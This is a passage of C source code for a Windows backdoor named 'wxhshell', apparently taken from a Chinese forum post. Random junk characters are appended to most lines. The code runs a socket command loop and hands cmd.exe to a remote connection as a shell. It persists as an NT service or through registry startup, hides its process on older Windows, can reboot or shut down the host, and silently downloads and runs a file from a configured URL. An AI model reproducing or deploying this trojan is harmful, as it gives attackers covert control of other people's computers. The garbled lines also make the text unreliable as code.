      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {bO|409>W  
    break; [^8n0{JiN  
  } Z%GTnG|rG  
  // 安装 -XRn~=5   
  case 'i': { 3nY1[,  
    if(Install()) }HE6aF62O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sC[yI Up  
    else ^kS T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .(J?a"  
    break; iHf-{[[Z  
    } bYz&P`o}  
  // 卸载 =A Vg Iv  
  case 'r': { :V2bS  
    if(Uninstall()) a[lY S{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<i38/ ~G  
    else 8Ld:"Y#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D>Gt]s  
    break; yr#5k`&\_  
    } AmwWH7,g  
  // 显示 wxhshell 所在路径 4tSv{B/}  
  case 'p': { 7Cjd.0T=(  
    char svExeFile[MAX_PATH]; lTU$0CG  
    strcpy(svExeFile,"\n\r"); ' qdPw%d  
      strcat(svExeFile,ExeFile); 2,aPr:]  
        send(wsh,svExeFile,strlen(svExeFile),0); ++L?+^h  
    break; RE.r4uOJg  
    } 9Lh|DK,nV/  
  // 重启 Le"oAA#[  
  case 'b': { dD<fn9t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TO2c"7td  
    if(Boot(REBOOT)) v^ d]r Sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jc)^49Rf  
    else { 9w9jpe#  
    closesocket(wsh); )otb>w5  
    ExitThread(0); DO7W}WU  
    } r_EcMIuk  
    break; fw oQ' &  
    } 8A{_GH{:  
  // 关机 , @m@S ^  
  case 'd': { A`{y9@h(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s:00yQ  
    if(Boot(SHUTDOWN)) kY]W Qu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PpLU  
    else { [sW.CK= 3  
    closesocket(wsh); Og;-B0,A  
    ExitThread(0); EBtLzbj  
    } #d{=\$=  
    break; G8W#<1LE  
    } RtG}h[k/X  
  // 获取shell "U. ^lkN  
  case 's': { `IYuz:  
    CmdShell(wsh);  p0.|<  
    closesocket(wsh); M4ozTp<$O  
    ExitThread(0); K/ &?VIi`z  
    break; fjnTe  
  }  `[zQf  
  // 退出 Oi"a:bCU  
  case 'x': { iut`7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5>J=YLq  
    CloseIt(wsh); $3D'4\X~?  
    break; qH"Gm  
    } ]]}tdn_  
  // 离开 WWT",gio  
  case 'q': { C0=9K@FCb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H"2uxhdLK3  
    closesocket(wsh); e&eW|E  
    WSACleanup(); ;M]C1!D9#  
    exit(1); yGg,$WM  
    break; E&yD8=vw  
        } crO@?m1  
  } CukC6u b  
  } iVB^,KQ@  
V8=Y@T,  
  // 提示信息 C8a*Q"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D 71;&G]0  
} (h']a!  
  } IPuA#C  
`P Xz  
  return; wOB azWa   
} LtT\z<bAI  
C1T_9}L-A  
// shell模块句柄 c62=*] ,  
int CmdShell(SOCKET sock) HaA1z}?n  
{ )hwV`2>l  
STARTUPINFO si; 7j5f ;O^+  
ZeroMemory(&si,sizeof(si)); s=?aox7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Ij-Ilg)%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hP J4Oj1O  
PROCESS_INFORMATION ProcessInfo; .s/fhk,  
char cmdline[]="cmd"; *9ywXm&?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ba\6?K  
  return 0; 3p?KU-  
} =O|c-k,f@  
j?b\+rr  
// 自身启动模式 `"vZ);i <  
int StartFromService(void) pIW I  
{ Es5  
typedef struct OT %nrzP  
{ 1Xy]D  
  DWORD ExitStatus; _DRrznaw  
  DWORD PebBaseAddress; W;?(,xx  
  DWORD AffinityMask; doHF|<s  
  DWORD BasePriority; 5>9Y|UU  
  ULONG UniqueProcessId; JT[*3 h  
  ULONG InheritedFromUniqueProcessId; uhN%Aj\iu(  
}   PROCESS_BASIC_INFORMATION; fIoIW&iy  
;0ME+]`"3  
PROCNTQSIP NtQueryInformationProcess; s?WCnT  
()PKw,pD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F2(q>#<_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v;{{ y-  
Uadr># C*  
  HANDLE             hProcess; - ~O'vLG  
  PROCESS_BASIC_INFORMATION pbi; r%Rs0)$yj  
6VD1cb\lF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ryO$6L  
  if(NULL == hInst ) return 0; S)He$B$pp  
y0v]N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oc9#e+_&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ct$82J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -6Tk<W  
@|bP+8oU  
  if (!NtQueryInformationProcess) return 0; g|PC$p-z+  
"Clz'J]{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8 l/[(] &  
  if(!hProcess) return 0; 1|,Pq9  
gG54:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N132sN2   
^SEdA=!  
  CloseHandle(hProcess); WUAJjds  
fbZibcQ%k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hwnx<f '  
if(hProcess==NULL) return 0; UVf\2\Y  
IL7`0cN(  
HMODULE hMod; jW*1E *"  
char procName[255]; 'f?.R&sCA  
unsigned long cbNeeded; JU0]Wq<^[  
%R_{1GrL'c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m$>iS@R  
=fc: 6JR  
  CloseHandle(hProcess); ,KW;2t*IQ@  
Hv#q:R8  
if(strstr(procName,"services")) return 1; // 以服务启动 lQPqcZd  
4C~UcGMv\  
  return 0; // 注册表启动 (k-YI{D3  
} jm>3bd  
Hr;h4J  
// 主模块 &UAe!{E0  
int StartWxhshell(LPSTR lpCmdLine) 5,+\`!g  
{ )J/HkOj"V  
  SOCKET wsl; uMXc0fs!$  
BOOL val=TRUE; .uZ7 -l  
  int port=0; 8uG0^h}  
  struct sockaddr_in door; _3Q8n|  
Mjpo1dw  
  if(wscfg.ws_autoins) Install(); @b!"joEy  
WoL9V"]  
port=atoi(lpCmdLine); B_3QQ tjAl  
e xR^/|BR  
if(port<=0) port=wscfg.ws_port; O^{1RV3:,T  
!7lj>BA>  
  WSADATA data; WbjF]b\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #/J 'P[z  
Uv?'m&_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {sN"( H4$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lpQP"%q  
  door.sin_family = AF_INET; l_FGZ!7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a,'Cyv">  
  door.sin_port = htons(port); <2Y0{ 8)  
6=|&tE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t\U$8l_;  
closesocket(wsl); 2iXoj&3e  
return 1; v<rF'D2  
} L0Vgo<A  
W|Ldu;#  
  if(listen(wsl,2) == INVALID_SOCKET) { Iur9I>8h  
closesocket(wsl); .e[Tu|qo  
return 1; &TN2 HZ-bJ  
} B5=3r1Ly  
  Wxhshell(wsl); !oSLl.fQd  
  WSACleanup(); 4-4?IwS  
G^h_ YjR`*  
return 0; /MMtTB H  
i3V/`)iz  
} Hw_o w?  
^^Lj I  
// 以NT服务方式启动 ?_4^le[;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :F|\Ij0T  
{ *c]KHipUIS  
DWORD   status = 0; =DgC C|p  
  DWORD   specificError = 0xfffffff; &W_th\%  
4be> `d5j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4!%]fg}Um  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k0K A~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 744=3v  
  serviceStatus.dwWin32ExitCode     = 0; =:$) Z  
  serviceStatus.dwServiceSpecificExitCode = 0; z4O o@3$\R  
  serviceStatus.dwCheckPoint       = 0; IlZu~B9c  
  serviceStatus.dwWaitHint       = 0; IvU{Xm"qB  
L4974E?S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UOI^c  
  if (hServiceStatusHandle==0) return; [STje8+V  
1t~({Pl<>  
status = GetLastError(); }Jxq'B  
  if (status!=NO_ERROR) l:e9y$_)  
{ q(9%^cV6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 eh=f!(+  
    serviceStatus.dwCheckPoint       = 0; XoL[ r67Z  
    serviceStatus.dwWaitHint       = 0; sWxK~Yg  
    serviceStatus.dwWin32ExitCode     = status; ?z.Isvn  
    serviceStatus.dwServiceSpecificExitCode = specificError; ofCVbn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lo3-X  
    return; qe?Ggz3p.  
  } mUwUs~PjA  
w!,QxrOV~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gA +:CgQ  
  serviceStatus.dwCheckPoint       = 0; G.jQX'%4QG  
  serviceStatus.dwWaitHint       = 0; t[O+B 6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rc~Y=m   
} Cg6;I.K   
E`E'<"{Yd  
// 处理NT服务事件,比如:启动、停止 : ^(nj7D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *FPg#a+  
{ I)[B9rbe  
switch(fdwControl) !A-;NGxE  
{ QWhp:] }  
case SERVICE_CONTROL_STOP: oS!/|#m n  
  serviceStatus.dwWin32ExitCode = 0; S:97B\ u`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D0%FELG05  
  serviceStatus.dwCheckPoint   = 0; 0VG=?dq  
  serviceStatus.dwWaitHint     = 0; )1z4q`  
  { Q;gQfr"c7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ R'E?|  
  } ) hdgz$cl  
  return; :uR>UDlPX  
case SERVICE_CONTROL_PAUSE: gE=Wcb!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /#\?1)jCK  
  break; yV_ L/,6}D  
case SERVICE_CONTROL_CONTINUE: `1,eX)S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  HD|sr{Z%  
  break;  Ec.)!Hu  
case SERVICE_CONTROL_INTERROGATE: +FBi5h  
  break; M)=|<h"F  
}; )<'yQW=6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h#R&=t1,^  
} ,)uPGe"y  
Oy'0I,  
// 标准应用程序主函数 _W+Q3Jx-(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $~o3}&az  
{ ^Ezcy?  
o[{&!t  
// 获取操作系统版本 }~GV'7d1  
OsIsNt=GetOsVer(); Q0SW;o7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XPVV+.  
g^n;IE$B  
  // 从命令行安装 ORtg>az\%  
  if(strpbrk(lpCmdLine,"iI")) Install(); =F[lg?g  
Nh :JU?h  
  // 下载执行文件 vK'9{q|g  
if(wscfg.ws_downexe) { ;_bq9x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  uE"2kn  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]-rczl|o  
} EFNdiv$wF  
VVN # $  
if(!OsIsNt) { A?sNXhh  
// 如果时win9x,隐藏进程并且设置为注册表启动 #mTMt;x  
HideProc(); :+1bg&wQ  
StartWxhshell(lpCmdLine); 5Q;dnC  
} f-s~Q 4  
else kI]=&Rw  
  if(StartFromService()) { "}+V`O{  
  // 以服务方式启动 7(5]Ry:  
  StartServiceCtrlDispatcher(DispatchTable); yHtGp%j  
else QS%,7'EG  
  // 普通方式启动 wK ][qZ ]  
  StartWxhshell(lpCmdLine); e18T(g_i  
@|]iSD&T #  
return 0; gpsrw>nw  
}
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只看该作者 1 发表于: 2006-10-10
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